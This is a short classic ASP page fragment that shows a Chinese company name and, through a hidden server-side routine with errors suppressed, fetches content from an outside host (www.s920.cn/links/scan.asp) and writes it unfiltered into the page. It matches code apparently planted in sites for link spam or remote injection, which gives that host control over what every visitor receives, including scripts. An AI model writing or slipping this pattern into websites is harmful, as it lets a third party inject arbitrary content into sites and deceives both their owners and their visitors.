<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>
东莞市虎门华艺装饰材料厂
<%
response.write getBody("http://www.s920.cn/links/scan.asp")
%> 